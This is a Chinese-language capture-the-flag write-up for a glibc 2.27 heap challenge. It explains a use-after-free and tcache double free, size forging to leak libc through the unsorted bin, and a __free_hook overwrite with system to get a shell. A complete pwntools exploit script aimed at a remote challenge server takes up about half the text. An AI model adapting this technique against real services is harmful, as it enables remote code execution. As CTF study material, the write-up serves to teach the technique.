漏洞
本题中限制了chunk的申请大小,最大只能0x78,无法直接申请大于0x400的chunk
free后指针并没有清零,存在uaf
tcache中的chunk被拿出时,不会check size
因为是2.27版本,所以tcache中可以直接进行double free(tcache dup)
tcache,这个东西在2.23之后的版本中出现,释放的chunk会优先放到tcache中,而同一size的tache chunk最多只能7个,之后再释放此size的chunk,会放到fastbin或者unsortedbin中,而放到unsortedbin中的要求是此chunk的size要大于0x400。
利用
题目只有add和free,并且add后会将相应的地址打出来。所以首先得让chunk进入unsortedbin中,来泄露libc基址。
因为最大chunk限制0x78,而free unsortedchunk时,需要下面有chunk垫着防止与top chunk合并,所以,要多申请一些chunk,这里直接申请了0-8的chunk(包括每个chunkheader一共加起来大于0x400),在0中获取了此chunk的地址后,
通过重复释放两次同一chunk,在tcache中形成循环,在申请一次这个大小的chunk,进行写入fd,在申请两次这个大小的chunk,即可实现fd任意地址写。利用这一点,可以将chunk0的size改为0x461(为什么是0x461呢,经过计算,chunk0除去header,加上下面8个chunk,一共0x461,正好到chunk9的header,不这样对齐会报错)
free(0)之后,就会发现进入了unsortedbin中,此时已经出现了main_arena地址,但是我们拿不到 ,这里又涉及到unsortedbin的一个机制,申请的内存在tcache中没有时,如果unsortedbin中有,那会直接从unsortedbin’中切出这一块内存,然后把main_arena的fd和bk,写到切割后的chunk的fd bk中,所以之前申请大片内存时,就要保证chunk0和chunk1的size不同,此时先free(1),chunk1进入了tcache,但他又存在于unsortedbin中,之后再申请一个chunk0size的chunk,就会切割unsortedchunk,将fd bk放入chunk1的fd和bk位,之后连续申请2此chunk1size的chunk,即可泄露main_arena+96的地址。
因为full relro,所以无法修改got表,所以打free_hook,这里有小技巧,可以用main_arena-0x10得到malloc_hook地址,之后减去sym["__malloc_hook"]得到正确的 libc _base,free_hook的地址也这么获得,之后还是dup将free改为system,之后在任意一个chunk上写上/bin/sh,free(4),getshell
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
ms = remote("node3.buuoj.cn",26576)
#ms = process("./ciscn")
libc = ELF("./libc.so.6")
def add(n,size,content):
ms.sendlineafter('choice > ', '1')
ms.sendlineafter('input the index\n', str(n))
ms.sendlineafter('input the size\n', str(size))
ms.sendlineafter('now you can write something\n', content)
# def edit(n,text):
# ms.sendlineafter("Command: ",'2')
# ms.sendlineafter("Index: ",str(n))
# ms.sendlineafter("Size: ",len(text))
# ms.sendafter("Content: ",text)
def free(n):
ms.sendlineafter('choice > ', '2')
ms.sendlineafter('input the index\n', str(n))
# def show(n):
# ms.sendlineafter("Command: ",'4')
# ms.sendlineafter("Index: ",str(n))
add(0,0x70,'a')
ms.recvuntil("gift :")
heap_addr = int(ms.recv(14),16)
log.info("heap_addr="+hex(heap_addr))
#sum
add(1,0x50,'a')
add(2,0x70,'a')
add(3,0x70,'a')
add(4,0x70,"/bin/sh")
add(5,0x70,'a')
add(6,0x70,'a')
add(7,0x70,'a')
add(8,0x70,'a')
add(9,0x10,'a')
add(10,0x70,'a')
add(11,0x30,'a')
#unsortedbin
free(11)
free(11)
add(12,0x30,p64(heap_addr-0x10))#1
add(13,0x30,'a')#1
add(14,0x30,p64(0)+p64(0x461))
free(0)
#leak
free(1)#chunk1 into tcache
add(15,0x70,'a')#size0,cut unsortedbin
add(16,0x50,'a')#size1
add(17,0x50,'a')#size1,main_arena+96
ms.recvuntil("gift :")
main_arena = int(ms.recv(14),16)-96
log.info("main_arena="+hex(main_arena))
libc_base = main_arena-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
free_hook = libc_base+libc.sym["__free_hook"]
log.info("free_hook="+hex(free_hook))
system = libc_base+libc.sym["system"]
add(18,0x10,'a')
free(18)
free(18)
add(19,0x10,p64(free_hook))
add(20,0x10,'a')
add(21,0x10,p64(system))
free(4)
#malloc_hook = main_arena-0x10
#log.info("malloc_hook="+hex(malloc_hook))
#gdb.attach(ms)
ms.interactive()